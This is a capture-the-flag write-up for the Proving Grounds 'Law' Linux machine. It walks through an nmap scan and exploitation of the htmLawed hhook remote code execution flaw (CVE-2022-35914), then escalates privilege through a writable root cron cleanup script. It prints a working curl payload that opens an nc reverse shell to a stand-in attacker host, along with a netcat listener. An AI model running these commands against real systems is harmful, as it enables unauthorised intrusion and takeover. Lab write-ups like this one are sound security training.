Law Writeup - Proving Grounds

Intermediate Linux

Created October 8, 2026 • Last updated October 8, 2026 • 2 min read

The Husky Hacker

sysadmin

Law exposes the htmLawed debug test interface, vulnerable to CVE-2022-35914, a parameter that reaches PHP's exec() directly for an unauthenticated www-data shell. Root comes from a cron job that runs a log-cleanup script www-data can write to.

Reconnaissance

Nmap

Scan the target for open services.

┌──(kali㉿kali)-[~]

└─$ nmap -sC -sV -p- $TARGET_IP

22/tcp open ssh   OpenSSH 8.4p1 Debian
80/tcp open http  Apache httpd 2.4.56 (Debian)
  http-title: htmLawed (1.2.5) test

Port 80 serves the htmLawed 1.2.5 test interface directly at the webroot. htmLawed is an HTML sanitizer library for PHP, and this test page, meant only for developers, is a debugging tool that should never reach production. It has a form with a "Process" button and encoding/validation settings.

Exploitation

htmLawed hhook RCE (CVE-2022-35914)

The test page accepts an hhook POST parameter that is passed to PHP's exec(), with the text parameter as its argument. Set up a listener first.

┌──(kali㉿kali)-[~]

└─$ nc -nlvp $ATTACKER_PORT

Fire the payload. The sid value must match in both the POST body and the cookie.

┌──(kali㉿kali)-[~]

└─$ curl -s -d "sid=foo&hhook=exec&text=nc $ATTACKER_IP $ATTACKER_PORT -e /bin/bash" -b "sid=foo" http://$TARGET_IP/

The listener catches a shell as www-data.

Privilege Escalation

Writable cron script

Enumerating writable files reveals /var/www/cleanup.sh, a script that clears the Apache logs.

┌──(kali㉿kali)-[~]

└─$ cat /var/www/cleanup.sh

#!/bin/bash
rm -rf /var/log/apache2/error.log
rm -rf /var/log/apache2/access.log

The script lives outside the webroot, so broad enumeration of writable files matters more than just checking /var/www/html/. A root cron job runs it every few minutes, and www-data can write to it, so append a reverse shell.